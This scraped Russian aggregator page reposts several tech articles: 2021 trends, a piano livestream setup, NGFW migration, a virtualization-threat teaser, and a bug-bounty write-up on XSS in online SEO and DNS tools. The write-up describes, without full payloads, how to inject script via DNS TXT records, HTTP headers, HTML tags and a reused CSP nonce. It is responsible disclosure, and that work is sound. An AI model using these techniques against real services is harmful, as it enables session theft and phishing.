Русский
Русский
English
Статистика
Реклама

Облачные сервисы

Перевод 10 ведущих технических трендов 2021 года, на которые стоит обратить внимание программистам

02.06.2021 12:04:43 | Автор: admin
Для индустрии разработки программного обеспечения и для программистов 2020 год стал значительным годом больших прорывов во многих областях. Пандемия значительно ускорила перевод самых разных процессов в цифровую среду, в результате тренды, о которых мы сегодня поговорим, будут представлять собой более масштабные явления, чем нечто подобное в прошлом году.

Разработка традиционных приложений и веб-проектов стала жизненно важным аспектом современного бизнеса, а программисты стали неотъемлемой частью самых разных организаций, помогая бизнесу внедрять инновации, создавать новые направления деятельности и развиваться.



Уже прошли четыре месяца 2021 года и сейчас совершенно очевидно то, что программист, обладающий актуальными знаниями и навыками, как и прежде, будет находиться в верхней части списка специалистов, которых ценят компании.

Здесь мне хотелось бы рассмотреть технологические тренды 2021 года, на которые стоит обратить внимание программистам. Всё то, о чём я буду говорить, основано на фактах, цифрах и данных из надёжных источников.

1. Мультиоблачные среды


Если говорить о компаниях, поддерживающих облачные сервисы для публичного использования, то совершенно очевидно то, какие именно компании являются лидерами рынка. По данным Statista в четвёртом квартале 2020 года лидером рынка облачных услуг с долей в 32% стала платформа Amazon Web Services. Microsoft Azure досталось 20% рынка, а Google Cloud 9%. В 2021 году, вероятно, эти три ведущих платформы сохранят свои позиции.


Ведущие облачные платформы в 4 квартале 2020 года

И, что интересно, набирают популярность мультиоблачные среды. Несколько компаний движутся в этом направлении. В частности, компания Amazon, ранее без особого энтузиазма относившаяся к мультиоблачным стратегиям, теперь вышла на этот рынок, предложив программистам инструменты для удобного развёртывания приложений в мультиоблачной инфраструктуре.

2. Блокчейн-технологии


Блокчейн-технологии появились сравнительно недавно. Уже сейчас понятно, что они способны изменить мир. Они используются, например, в криптовалютах. Но эти технологии могут серьёзно трансформировать всю IT-индустрию. Ресурс PR Newswire прогнозирует, что к 2027 году рынок блокчейн-технологий достигнет размеров в 30,7 миллиардов долларов при совокупном среднегодовом темпе роста в 43%. Весьма вероятно то, что в 2021 году эти технологии, в виде механизма смарт-контрактов, будут использоваться в самых разных областях.

3. Квантовые вычисления


Квантовые вычисления это, без сомнения, самая реформистская технология нынешней эпохи. Эта технология, скорее всего, повлияет на все отрасли экономики. И, по сведениям, опубликованным в IBM Research Blog, в 2023 году компания выпустит процессор IBM Quantum Condor на 1121 кубита.

Для того чтобы понятнее описать перспективы квантовых компьютеров приведу следующее сравнение. Если представить, что самый совершенный современный суперкомпьютер это шахматист, или ученик математического класса, оканчивающий среднюю школу, то квантовый компьютер будет гениальным математиком, вроде Эйлера, или шахматистом, который может одновременно играть с полусотней других шахматистов.

Поэтому, учитывая огромные возможности квантовых компьютеров и сильнейший интерес, который испытывает к ним общественность, в 2021 году в сфере квантовых вычислений можно ожидать появления невероятных открытий и прорывных достижений.

4. Инструменты для глубокого обучения


Globe News Wire даёт прогноз, в соответствии с которым рынок технологий глубокого обучения достигнет в 2028 году 93,34 миллиарда долларов, при стабильном совокупном среднегодовом темпе роста в 39,1%. Наиболее заметными глобальными фигурами на этом рынке являются Facebook и Google. По данным исследования, проведённого Stack Overflow среди разработчиков, оказалось, что фреймворк Google TensorFlow 2.0 популярнее, чем Facebook PyTorch. Причиной этого является тот факт, что фреймворк TensorFlow обладает всеми возможностями PyTorch, но при этом отлично работает в среде Google Colab.


TensorFlow популярнее PyTorch

Но, с другой стороны, разработчикам комфортнее работать с PyTorch, так как этот фреймворк включает в себя функционал, ориентированный на удобство работы с ним.


С PyTorch работать комфортнее, чем с TensorFlow

Не стоит и говорить о том, что в 2021 году и PyTorch, и TensorFlow 2.0. станут теми самыми инструментами, которые, в зависимости от нужд конкретного проекта, чаще всего будут использоваться там, где нужны технологии глубокого обучения.

5. Вычисления, требующие переработки большого количества данных


Несколько лет назад в сфере распределённой пакетной обработки данных, или при проведении вычислений, требующих переработки большого количества данных, стандартным инструментом была платформа Hadoop. Но сейчас, с появлением платформы Apache Spark, её, в большинстве случаев, используют вместо Hadoop. В публикации из блога Towards Data Science сказано, что основное отличие двух этих платформ заключается в производительности. А именно, если речь идёт об обработке данных, хранящихся на дисках, то Spark стабильно показывает производительность, в 10 раз превышающую производительность Hadoop. Если же данные хранятся в памяти речь идёт о 100-кратном повышении производительности. Более того платформа Spark создавалась с прицелом на исправление недостатков Hadoop. В результате тренд отказа от Hadoop и перехода на Spark, весьма вероятно, продолжится и в этом году.

6. Быстрая разработка приложений


Недавняя публикация ресурса PR Newswire позволяет говорить о том, что к 2027 году рынок быстрой разработки приложений (Low Code/No-Code, LCNC) достигнет 65,15 миллиардов долларов, при этом совокупный среднегодовой темп роста превысит показатель в 26,1%. Low Code/No-Code-возможности в сфере веб-разработки поддерживает несколько платформ. Среди них Microsoft Power Apps, Bubble, OutSystems и Appian.

В 2021 году развитие LCNC-платформ будет представлять собой один из наиболее мощных трендов. В этой сфере можно будет наблюдать множество инноваций и крупных сделок по приобретению одних компаний другими или по слиянию компаний.

7. JavaScript, Python и Java


Мир языков программирования претерпевает значительные изменения. Традиционные тяжёлые языки теряют позиции, а языки, больше ориентированные на удобство разработчика, вроде JavaScript, Python и Java, наоборот, остаются популярными.


Языки программирования

Учитывая то, что индустрия разработки программного обеспечения бурно развивается, и то, что к ней постоянно присоединяются новые разработчики, языки, на которых проще и удобнее программировать, будут очень хорошо чувствовать себя в этом году.

8. React популярная библиотека для разработки пользовательских интерфейсов


Если взглянуть на фреймворки и библиотеки, используемые в веб-разработке, то оказывается, что тут первое место всё ещё принадлежит jQuery, но эта библиотека довольно скоро может уступить первенство React и Angular. Кроме того, React это, в соответствии с результатами исследования Stack Overflow, библиотека для фронтенд-разработки, которая опережает другие подобные инструменты по количеству загрузок и по уровню использования. Разработчики выбирают её для создания интерфейсов чаще других подобных средств.


Библиотеки и фреймворки для фронтенд-разработки

9. Контейнеризация


В IT-индустрии, изначально ориентированной на облачные среды, контейнеризацию можно признать одной из ключевых технологий. Платформа Kubernetes, по сведениям Globe Newswire, занимает 48% рынка. Эта платформа стала ведущим инструментом для оркестрации контейнеров и для управления ими. Причём, это относится и к частным, и к общедоступным облачным системам. Более того, все ведущие поставщики облачных услуг, такие, как Amazon, Microsoft и Google, предоставляют своим клиентам возможность пользоваться Kubernetes.

В этом году нас ждёт продолжение распространения Kubernetes, так как эта платформа является важнейшим ингредиентом мультиоблачных стратегий.

10. Пограничные вычисления


Пограничные вычисления представлены распределённой вычислительной инфраструктурой, расположенной как можно ближе к конечному пользователю, которая объединяет системы хранения данных и вычислительные мощности. По некоторым оценкам глобальный рынок пограничных вычислений к 2028 году может дорасти до 61,14 миллионов долларов. Учитывая рост использования IoT-устройств, транспортных средств с выходом в интернет, технологий искусственного интеллекта и машинного обучения, в этом и в следующих годах рынок пограничных вычислений будет бурно расти. Поэтому нам стоит быть готовыми к инновациям в этой области и к появлению в этой области новых стандартов.

Итоги


Индустрия разработки программного обеспечения куда больше, чем рассмотренные в этом материале её части, поэтому за один заход невозможно охватить все важные аспекты этой индустрии. Однако тут представлены несколько значительных трендов, которые способны сыграть очень важную роль в жизни любого программиста. Надеюсь, теперь у вас есть некоторое представление о том, на что стоит обратить внимание в 2021 году.

Как вы думаете, на что ещё программистам стоит обратить внимание в этом году?


Подробнее..

Как организовать трансляцию на 5 суток (почти) без разрывов?

07.06.2021 16:20:09 | Автор: admin
Недавно закончился наш слегка безумный спецпроект с роялем, падающим на танцующего котика. Пять суток подряд мы показывали с трёх камер висящий рояль и его клавиши с помощью сервиса потоковых трансляций Facecast и устройств Evacoder One. Хотим рассказать вам, как это всё было организовано, и поделиться своими впечатлениями.

Почему мы решили не использовать Youtube?


В эпоху блогеров и стримеров, когда функцию трансляции запихивают практически в любое устройство с камерой, кажется странным, зачем вообще понадобилось использовать какие-то сторонние сервисы или, тем более, аппаратные решения. Со стороны может показаться, что да подключи мобильный телефон к Wi-Fi, запускай стрим, и вот у тебя готовая трансляция!. Но мы довольно часто видели такие решения на коленке с задержками, обрывами сигнала или глитч-эффектами и не могли отнестись к участникам нашего квеста так безалаберно, ведь от качества картинки и стабильности зависела вовлечённость в проект.

Кроме того, нам нужна была низкая задержка трансляции той камеры, которая смотрит на клавиши рояля, ведь участникам надо было видеть, как записанные на сайте нажатия дублировались на живом рояле.

И третьим аргументом было то, что вся связка (как минимум та, что будет закреплена на рояле) должна работать все 5 суток как часы, чтобы не приходилось ставить стремянку и что-то там химичить. Во-первых, это нарушило бы сценарий (что это вообще за мужик в квартире у девушки?), а во-вторых, доступ к транслирующему оборудованию был бы невозможен, потому что оно размещено внутри рояля, а крышку после подвешивания рояля уже не поднять, она крепко прижималась бы тросами:


По всем этим критериям мы не стали использовать тот же Youtube: сервис не гарантирует непрерывности трансляции, задержка слишком велика, а настройки и возможности аналитики для нас слишком скудные. Twitch мы даже не рассматривали из-за рекламы, которую вставляют в трансляцию, и мы не были уверены в стабильности вещания. Discord, в котором мы организовали чат участников, вообще не заточен под видеостриминг, да к тому же в нём ограничено количество зрителей.

И ещё один важный момент: ни у одного из этих сервисов нет возможности вещания с нескольких камер, чтобы зрители могли сами переключаться между интересующими их ракурсами.

Так выглядела октава рояля на сайте:


А это вид с камеры GoPro, закрепленной на рояле и транслирующей игру участников квеста:


Кроме того, каждый день в 12:00 наша девушка должна была перерезать очередной трос, и это тоже должно быть видно без задержек и с высоким качеством, ведь с каждым перерезанным тросом вероятность того, что рояль упадёт, будет всё выше.

Мы уже пару раз успешно работали с компанией Facecast по другим проектам, и когда идея нашего квеста была более-менее сформирована, то предложили им поучаствовать.

Схема работы сервиса выглядит так:


Ключевых компонента два: облачный сервис и устройство-энкодер. К одному или нескольким энкодерам мы подключаем камеры, а сами энкодеры подключаем к сети по проводу, Wi-Fi или через сотовый модем и можно всем показывать. Для просмотра трансляции достаточно браузера, никаких специальных приложений не нужно. Плеер подберёт наилучшие разрешение и битрейт для конкретного устройства, чтобы и качество картинки было наилучшим, и чтобы тормозов не было. Можно также встроить видеопоток в свою страницу, например, страницу митапа или лендинга.


За бесперебойность трансляции отвечают аппаратные энкодеры, который берут сигнал с камер, преобразуют его и через облачный сервис передают его зрителям. Компания предлагает несколько моделей энкодеров, мы взяли самую простую Evacoder One, небольшой плоский кирпичик из цельного алюминия, весь покрытый рёбрами охлаждения.


Эта модель предназначена для стационарных трансляций из помещений. К такому энкодеру можно подключить через HDMI или SDI одну камеру. Аппарат поддерживает современные видеокодеки Н.264 и Н.265 и передаёт видео с частотой 30 кадров в секунду и разрешением до 4К.

Самое интересное, что к сети Evacoder One можно подключить не только проводом или через Wi-Fi, но и одновременно до 16 сотовых модемов. Устройство объединяет их пропускную способность, и таким образом можно передавать тяжёлые 4К-потоки. При подключении через один 4G-модем с момента поступления сигнала в энкодер до его появления на сервисе проходит 10-30 секунд. Но конечная задержка зависит от интернета у конкретного зрителя. Ещё одна фишка связки сервиса и энкодером буферизация потока: даже если интернет-подключение энкодера временно прервётся, трансляция будет идти непрерывно, и после восстановления подключения произойдёт бесшовное восстановление потока.

На стороне облачного сервиса тоже много интересного. Например, есть restream-сервер и функции разграничения доступа зрителей, чтобы предотвратить пиратские ретрансляции с одного аккаунта. Есть богатые средства аналитики аудитории. Через сервис можно даже продавать билеты на трансляции.

У нас было три вещательные камеры, подключённые к трём Evacoder One: одна камера снимала общий план рояля, вторая снимала его со стороны тросов, а третья камера снимала крупным планом клавиши рояля:





Причём энкодер, подключённый к клавишной камере, был спрятан в самом рояле и безо всяких проблем пережил падение, ни на мгновение не прервав трансляцию.




Общее впечатления и факапы


Первый факап случился через 20 часов после начала трансляции. Изображение с двух камер GoPro стало дергаться. Мы быстро сообразили, что дело в стабилизаторе камер GoPro 7, который перегрелся и устал. Камеры были установлены на штативах, поэтому стабилизатор там вообще не нужен был и мы его выключили, после чего изображение снова стало стабильным (и, кстати, задержка тоже стала меньше, потому что теперь камерам не приходилось обрабатывать видео для стабилизации и они сразу отдавали его в HDMI).

А второй факап произошел в самый неподходящий момент

Как мы уже писали, Evacoder One поддерживает не только два независимых проводных Ethernet-соединения с интернетом, но и до 16 сотовых модемов. В качестве основного канала у нас была выделенная линия от местного провайдера, стабильно отдающего 250 мегабит в секунду. Второй проводной Ethernet протянуть было нельзя, потому что в здании интернет захватил монополист, не пускающий других провайдеров (думаю, ситуация знакомая для многих организаций). Поэтому в качестве резервного интернет-канала у нас был LTE-модем от Yota. Студия расположена рядом с оборонным предприятием, которое глушит сигналы сотовой связи и LTE-соединение периодически отваливалось. Но через 2-3 минуты сигнал восстанавливался и последующие 4-5 часов вёл себя хорошо, отдавая стабильно 50 мегабит в секунду.

Мы тестировали основное и резервное соединение в течение четырёх дней и связь была стабильной. Вероятность того, что оба канала будут сбоить одновременно, была очень небольшой. И мы решились на запуск с двумя этими каналами.

Оцените иронию: пять суток трансляция велась без сбоев, и в самый кульминационный момент примерно на 12 секунд подвисло изображение с одной из камер (общего вида, спасибоBuzzardDoc за запись). На записи, которая пришла на сервер, сбоя нет, но, вероятно был небольшой дисконнект между Evacoder One и сервером Facecast из-за сбоя в интернет-соединении, что и вызвало задержку.


Однако это стало предметом для шуток в чате квеста про то, что это был фотошоп и рояль на самом деле не стали ронять, а аккуратно опустили. Хорошо, что мы вели запись еще с 5 камер, и момент падения выложили через пару часов.


В остальном же все 5 суток трансляция велась вообще без сбоев, нам ни разу не пришлось перезагружать оборудование, что-то перенастраивать или передергивать кабели, всё работало как часы.

Поэтому совет: не пренебрегайте резервными интернет-каналами для своей трансляции, создатели Evacoder One не зря предусмотрели их аж 18 штук.

И напоследок немного скриншотов и статистики:


Пики максимума зрителей приходились на 12:00. Всем было интересно посмотреть, как девушка перерезает болгаркой очередной трос.


По статистике трансляции мы отслеживали динамику интереса аудитории:


К качеству картинки у нас претензий не было, заметных артефактов пережатия потока не было, разрешения хватало, и даже на 27-дюймовом мониторе можно было разглядеть летящие искры:





Подробнее..

Неочевидные уязвимости онлайн сервисов. Часть первая

16.06.2021 16:13:28 | Автор: admin

Пожалуй, каждый второй программист хоть раз задумывался попробовать создать свой, если не стартап, то собственный онлайн сервис. Может быть, такой инструмент умел бы делать простые SEO-аудиты сайтов, помогал находить технические ошибки, упрощая жизнь вебмастерам или маркетологам.

А может быть, вы популярный хостинг? Хотите привлечь пользователей, используя около-тематический трафик создаете онлайн сервис который смог бы заменить целые серверные утилиты nslookup, dig, curl?! Звучит неплохо, но всё ли так хорошо с безопасностью пользователей?

Об интересных и неочевидных уязвимостях онлайн-сервисов поговорим под катом.

Важное отступление


Перед началом путешествия по барханам незащищенности, стоит отметить, что уязвимости рассматриваемых в статье сайтов уже закрыты. Однако, в сети есть еще множество сервисов, которые могут быть подвержены описанным уязвимостям поэтому приведенные в статье примеры нужно расценивать как инструкцию к самостоятельной работе над ошибками.
Некоторые сервисы, которые мы рассмотрим, разрабатывались профессиональными программистами, возможно, с привлечением специалистов по безопасности. Не стоит думать, что профессионалы не могут ошибаться.
Поиск уязвимостей проходил в рамках программы BugBounty. Все сайты, указанные во всех частях статьи, раскрыты с письменного согласия владельцев.
Ой! Прекратите! Чем опасен XSS в 2021??! Да и вообще, XSS не опасен. Не смешите читателей!
Кажется, верное утверждение. С внедрением CORS, X-XSS-Protection современные браузеры научились неплохо фильтровать XSS, вот только не все так гладко.

Любая XSS уязвимость, несет в себе идею возможности кражи Cookie данных для авторизации или переброски пользователя на фишинговый сайт например, для имитации окна ввода пароля. Эта статья как раз про то, что XSS всё ещё опасен, даже в Google Chrome.

Проверяем DNS записи или опасности утилиты Dig и NSLOOKUP в онлайн сервисах


Рассматриваемую здесь уязвимость можно расценивать как Stored XSS. Хоть хранимой она, в зависимости от архитектуры построения сервиса может не являться, вот только конечному пользователю будет совершенно непонятно откуда на странице взялся скрипт.

Если кто не знает, серверная утилита Dig (NSLOOKUP работает похожим образом) позволяет получить DNS записи любого домена. В интернете же, можно найти множество онлайн сервисов, которые используют эту утилиту у себя на бэкенде, а своим пользователям показывают результат её работы.

DNS записей существует несколько: A, MX, CNAME, SOA, TXT и другие. Мне стало интересно проверить возможности TXT записи что если здесь написать скрипт? Для проверки атаки нужен собственный домен.



Оказалось, помимо всевозможных символов DKIM и SPF подписей, в TXT запись можно написать обычный скрипт или полноценный html, с небольшими нюансами. Можно было бы подумать, что мой NS провайдер не экранирует спецсимволы, но нет так делать можно у всех.

Оказалось, помимо всевозможных символов DKIM и SPF подписей, в TXT запись можно написать обычный скрипт или полноценный html, с небольшими нюансами. Можно было бы подумать, что мой NS провайдер не экранирует спецсимволы, но нет так делать можно у всех.

Вот только сама схема эксплуатации не очевидна. Согласитесь, что написать скрипт в TXT запись домена, чтобы эксплуатировать XSS на ум сразу не приходит. Так и программисту, который выводит информацию со своего же бэкенда может показаться, что все в порядке тут нЕчего экранировать.

Положение ухудшается еще и тем, что утилиту Dig часто используют популярные хостеры и регистраторы, данные пользователей которых имеют повышенную ценность. А большинство таких онлайн-инструментов еще и генерирует прямую ссылку на результаты проверки.

На видео выше видим простую реализацию эксплуатации XSS уязвимости крупного хостинг-провайдера. Здесь пришлось немного изощренно подойти к вопросу реализации и вместо тега script, навесить код на событие onerror тегаimg.

Ребята из ukraine.com.ua закрыли уязвимость через 10 минут, после моего обращения в техподдержку. Быстрее, на моем опыте, пока не делал никто. Адекватная и профессиональная команда на всех этапах переговоров.

А что другие, спросите Вы? Например, ребята из Xtool тоже быстро исправили проблему и разрешили рассказать об этом в статье. Проблема здесь была в блоке DNS INFO:


Остальные сервисы, с кем удалось связаться, закрыли уязвимость в течении месяца, но запретили публиковать любую информацию о них. Другие, вообще не ответили и нет другой возможности рассказать им, как сделать уязвимость публичной.

Тем не менее, стоит отметить, что XSS уязвимости через TXT записи домена были (и могут быть) подвергнуты проекты масштабом на любой вкус от 200 тысяч до нескольких миллионов посетителей в месяц (по данным Similarweb), по всему миру.

Желаю всем владельцам онлайн инструментов быть максимально адекватными и рассматривать пользователей, рассказавших об уязвимости как друзей, но не врагов.

Странные HTTP заголовки в ответе сервера


Продолжим тестировать онлайн-сервисы что если передать скрипт в HTTP заголовке? Сколько сервисов будут экранировать заголовки сервера, выводимые на свой фронтенд из curl -I [host]? Давайте попробуем, назовем заголовок X-Test .


Многие SEO-анализаторы, помимо технической информации о сайте, выводят, в том числе и заголовки ответа сервера. Это проблема не только мелких анализаторов. Здесь, как и в уязвимости из прошлого раздела, не очевидной уязвимости со скриптом в HTTP заголовке были подвержены проекты разных масштабов.

Идея эксплуатации HTTP заголовка ответа сервера не лежит на поверхности, именно поэтому разработчики могли упустить попытки подобной XSS атаки. Так произошло и с SEO анализатором сайтов Seolik, владельцы которого любезно разрешили опубликовать этот кейс. Разработчики проявили серьезное отношение к безопасности и в режиме адекватного диалога очень быстро исправили уязвимость.

Можно справедливо заметить, что для безопасности исполнения скриптов стоит использовать Content Security Policy . Некоторые онлайн-инструменты использовали этот прием и отключали inline скрипты. Однако, это не сильно осложняло задачу эксплуатации уязвимости, ведь большинство сервисов пользуются внешними средствами аналитики трафика.


Перед началом использования счетчиков, на странице необходимо инициализировать их, например так script nonce="analytics". Чтобы этот код заработал, онлайн-сервис добавил в CSP: default-src 'nonce-analytics'.

Но безопаснее не стало ведь мы по прежнему можем передать через XSS over Response Header такую же конструкцию скрипта. Браузер будет считать чужой скрипт местным.

Пишем скрипт в HTML теги


Согласитесь, писать скрипт в тег заголовка страницы неочевидное решение для попытки эксплуатации XSS. Но оно работает. Исследовав небольшую часть онлайн-сервисов, становится понятно, что не все экранируют содержимое HTML тегов: title, h1, description и других.

Разработчики популярного сервиса поисковой аналитики Topvisor тоже упустили нашу маленькую шалость и вывели содержимое тега title на страницу отчета анализа сайта.

Здесь, очень полезная функция ТопВизора Поделиться результатом анализа играет нам на руку ведь мы получаем прямую ссылку на эксплуатацию XSS уязвимости через вывод содержимого HTML тегов. Также стоит отдать должное отношению к безопасности разработчики связались в тот же день и сразу закрыли уязвимость.

Ситуация повторяется в популярном онлайн-сервисе для SEO-аудита PR-CY. Здесь также, в инструменте проверки Open Graph разметки, не экранировались значения полученные с исследуемого ресурса. Для удобства пользователей генерировалась прямая ссылка на результат что конечно на руку атакующему.

Администраторы PR-CY исправили баг в течении часа после обращения в поддержку, за что им спасибо. А еще через некоторое время предложили провести дополнительный аудит других проектов.


Неожиданные уязвимости популярных онлайн-инструментов


Пожалуй, в этой главе будет история об одной, точнее о нескольких наиболее неожиданных уязвимостях популярных онлайн-сервисов, один из которых за авторством W3C. История, которую можете попробовать написать сами.

Нет. Писать текст не придётся. Здесь не будет NFT котиков и рояля на тросах, но будет небольшая головоломка. Предлагаю читателям как можно скорее найти и раскрыть все варианты одной XSS уязвимости онлайн-сервиса от W3C который называется "Unicorn".


Официально, уязвимость на W3C уже исправлена, но специально для читателей этой статьи я развернул на своем сервере уязвимую версию Unicorn Validator. Чтобы хоть как-то усложнить задачу, вам придется самостоятельно разыскать адрес моего онлайн-сервиса. А еще есть арбитр, который сможет ответить на некоторые вопросы если вы окажетесь совсем в тупике и подскажет удалось ли найти все решения головоломки.

Решением можно считать найденные, как минимум, 3 разных способа эксплуатации XSS уязвимости Юникорна (должны быть разные варианты скрипта и разные теги страницы). Варианты точно не очевидные, но очень простые и из статьи легко понять направление поиска. Минимально, в валидаторе должен сработать alert с любым текстом из вашего скрипта.

Пока вы решаете головоломку, я подготовлю вторую часть статьи с объявлением лучших решателей и подробным описанием уязвимостей популярного продукта W3C Unicorn и еще нескольких онлайн-сервисов, аудитория которого превышает несколько миллионов посетителей в месяц (по данным SimilarWeb).


Подробнее..

Если не хватает NSX Edge как клиенты нашего облака переезжают в сервис NGFW

20.05.2021 12:07:50 | Автор: admin

Когда клиент размещает свой сайт, почту или другой сервис в нашем облаке на базе VMware, то в 90% случаев в качестве граничного устройства используется виртуальный маршрутизатор NSX Edge. Это решение выполняет для виртуального дата-центра функции межсетевого экрана, NAT, DHCP, VPN и так далее.

Но если, например, клиент привык получать на межсетевом экране расширенную аналитику по трафику и более детальный мониторинг, то в облаке ему может понадобиться межсетевой экран нового поколения (Next Generation Firewall, NGFW). К тому же, такие решения предоставляют модули IPS и IDS, антивирус и другие фишки. Для клиентов c такими запросами в качестве одного из решений мы предлагаем NGFW как сервис на базе FortiGate. В статье покажу, как и для чего мы организуем переезд в этот сервис.

Когда стоит рассмотреть NGFW как сервис

Чаще всего наши клиенты рассматривают альтернативы NSX Edge, если на уровне межсетевого экрана нужно решать дополнительные задачи:

  • обнаруживать и предотвращать вторжения с помощью модулей IPS и IDS;

  • обеспечивать дополнительную антивирусную защиту;

  • контролировать приложения, которые используют сотрудники на рабочих местах в облаке;

  • интегрировать политики безопасности с каталогами AD и IDM;

  • отслеживать и расследовать сложные атаки и инциденты с помощью продвинутой аналитики.

Вместо сервиса можно выбрать и приватное решение закупить виртуальные или физические ресурсы в частное облако под нужды заказчика. К примеру, частное решение разворачивается, если нужен межсетевой экран, сертифицированный по требованиям ФСТЭК. Но у частного варианта есть минус: если проект живет в приватном облаке долго, рано или поздно может возникнуть проблема сайзинга. Например, мы закупили для проекта заказчика межсетевые экраны с небольшим запасом, под этот объем закупили лицензии. Через несколько лет трафик вырос сильнее ожидаемого. Заказчик захотел расширить пропускную способность и уперся в пакетную политику лицензирования вендора: докупить ровно необходимое количество лицензий было нельзя.

NGFW как сервис позволяет избежать проблем с сайзингом, если предсказать рост пропускной способности нельзя. В этом случае заказчику на одном из межсетевых экранов предоставляются выделенные сетевые сегменты виртуальные домены (VDOMы). Трафик предоставляется по принципу Pay-as-you-go: заказчик платит только за ту пропускную способность, которую потребил на виртуальном домене. Количество VDOMов можно увеличивать: в сервисе за это отвечает сервис-провайдер, заказчику достаточно сформулировать запрос.

Вот как упрощенно выглядит сегментация:

Это же решение используется и в составе сервиса виртуальных рабочих столов.Это же решение используется и в составе сервиса виртуальных рабочих столов.

Еще одна причина для перехода на NGFW как сервис желание заказчика отдать администрирование на сторону. Настройка таких межсетевых экранов требует знания нюансов конкретного вендора, и не у каждого заказчика есть специалисты нужного профиля. В сервисе с администрированием заказчику не нужно самому настраивать правила и анализировать трафик и срабатывания: этим занимается сервис-провайдер. При необходимости заказчик может поправить свою политику доступа или создать NAT преобразование сетевых адресов.

Как происходит переезд

При переезде из NSX Edge есть один нюанс: у клиента поменяется внешняя адресация. Мы заранее предупреждаем об этом клиента и затем идем пошагово по нашему плану.

Перенос "как есть". На первом этапе вся защита переносится в том виде, в котором ее настроил заказчик.

  1. Общаемся с клиентом, выясняем его задачи и уточняем, какие модули NGFW нужны.

  2. Запрашиваему клиента необходимую информацию:

    • как сегментирована сеть,

    • какие VLANы используются,

    • какие типы сетей: routed, isolated,

    • как клиент выходит в интернет,

    • какая полоса пропускания,

    • как все мониторится,

    • какие NAT-трансляции используются.

    Так мы выстраиваем архитектуру будущего решения.

  3. Запрашиваем конфигурацию с оборудования заказчика либо просим доступ к Edge, чтобы выгрузить конфигурацию самим.

  4. Анализируем конфигурацию и заводим сети клиентов: создаем отдельный VDOM на FortiGate и подаем туда VLANы.

  5. Переносим все правила доступа со старого оборудования.

  6. Создаем NAT-трансляции с новыми адресами, составляем IP-план и отправляем его клиенту.

  7. Преднастраиваем VPN-туннели.

  8. Согласовываем время даунтайма во время миграции. Общее время зависит от количества VLANов.

  9. Переводим трафик с минимальным простоем. Чаще всего делаем это ночью, чтобы влияние переезда было минимальным. Тушим интерфейс на Edge и поднимаем интерфейс с таким же адресом на FortiGate. Параллельно с этим клиент меняет DNS. На каждый VLAN достаточно несколько минут.

Если в этом процессе возникнет какая-то проблема, мы сможем откатиться назад за пару минут.

Оптимизация. После переноса мы мониторим активность, наблюдаем за трафиком и собираем аналитику. Через неделю анализируем работу правил и проверяем их корректность. Какие-то могут оказаться слишком широкими или слишком узкими, они могут затенять друг друга. Если видим какие-то неработающие правила, обсуждаем с клиентом и при необходимости выключаем или корректируем их.

Тут видим, что для выбранного правила трафика вообще нет.Тут видим, что для выбранного правила трафика вообще нет.

Включение модулей безопасности. Здесь мы настраиваем модули NGFW: IPS, контроль приложений, антивирус, всю работу делаем в тесной связке с клиентом. Сначала мы создаем профили безопасности в режиме мониторинга и только наблюдаем за срабатываниями, но не блокируем их. Например, у нас начал срабатывать модуль IPS. Сначала мы смотрим, что это за трафик, и сообщаем клиенту. Решение принимаем совместно: блокировать такие срабатывания, или это легитимный трафик и срабатывание оказалось ложным. Только после совместного обсуждения включаем правила в режиме блокировки.

Так выглядит топ критичных угроз за семь дней в модуле IPS.Так выглядит топ критичных угроз за семь дней в модуле IPS.

Как решаются особые кейсы NGFW+

Иногда NGFW как сервис становится частью комплексного решения, к которому мы подключаем другие модули:

  • система управления журналами безопасности,

  • VPN-клиенты,

  • сервис защиты веб-приложений (WAF),

  • другие.

Кратко расскажу, как эти решения работают совместно.

Журналы событий FortiAnalyzer вместе с NGFW помогают видеть более детальную картину трафика. Например, есть модуль индикаторов компрометации: мы видим, что какие-то хосты ломятся на скомпрометированные IP-адреса. Этот трафик блокируется, а хосты мы проверяем антивирусом.

Отдельной политикой на NGFW можно настроить передачу трафика по syslogу в клиентскую SIEM-систему. Или можем просто передавать журналы в клиентский лог-коллектор через IPsec.

FortiAnalyzer также помогает организовать долговременное хранение журналов.

Дополнительный VPN-шлюз для доступа к внутренней инфраструктуре можно настроить с помощью FortiClient VPN. Это средство для защиты конечных точек (endpoint-защиты). С его помощью доступ на удаленный сервер настраивается определенным группам пользователей.

WAF совместно с NGFW позволяет вести на межсетевой экран уже очищенный трафик. Мы уже рассказывали, как устроен наш комплексный WAF как сервис и как мы предусмотрели в нем дополнительную защиту от DDoS и сканирование. С подключением NGFW его схема будет выглядеть так:

Клиентам с WAF мы рекомендуем ограничивать на межсетевом экране доступ к сайтам только с адресов WAF. NGFW в этой связке работает в режиме explicit proxy: запрещено все, что не разрешено.

Разрешен только трафик с WAF.Разрешен только трафик с WAF.

WAF в такой схеме отбивает все, что связано с вебом. NGFW работает и на вход, и на выход: он также контролирует выход базы данных и веб-серверов за обновлениями. Также NGFW следит за взаимодействием внутренних серверов между собой: как один сегмент сети общается с другим. Даже если какой-то внутренний сервер заразится, то сегментация сети на NGFW не позволит заразе распространиться дальше.

Такие комплексные решения помогают нам в крупных и сложных проектах. Для заказчика они более выгодны и позволяют снять нагрузку с сотрудников.

Единственный случай, когда лучше выбрать комплексный сервис в виде частного решения, необходимость сертификации NGFW или WAF по требованиям ФСТЭК. Администрировать такое решение тоже может сервис-провайдер, но это будет межсетевой экран или WAF под конкретного заказчика.

Подробнее..

Перевод Виртуалка-камуфляж Вредоносный подход к виртуализации

28.05.2021 14:21:34 | Автор: admin


Виртуализация это палка о двух концах

Победоносное развитие облаков в последние годы можно связать с постепенным совершенствованием сразу множества технологий, относящихся как к аппаратному, так и к программному обеспечению. Но, наверное, наиболее известна технология, в которой две эти области смыкаются: речь о виртуализации. Упрощенно говоря, виртуализация это акт абстрагирования аппаратных компонентов (например, процессора, памяти, дисковых приводов, т.д.) и представления их на программном уровне, который динамичнее аппаратного и лучше масштабируется. Данная ключевая характеристика виртуализации располагает к созданию заказных, надежных, высоко доступных онлайновых сервисов, используемых по требованию сегодня это называется облако.

Однако, в этой великой технологии, выводящей на новые парадигмы, кроется и темная сторона. Есть производители облаков, годами извлекавшие пользу из того абстрагирования, что обеспечивается при помощи виртуализации и применяется, чтобы вас защитить, а есть и злоумышленники, вскоре осознавшие, как виртуализацию можно обратить против вас. В последние годы наблюдаются некоторые угрозы одни из них лишь продуманы концептуально, другие уже встречаются на практике применяющиеся при вторжениях для маскировки вредоносной активности. Это деструктивная виртуализация или, как мы ее называем, виртуальный камуфляж.

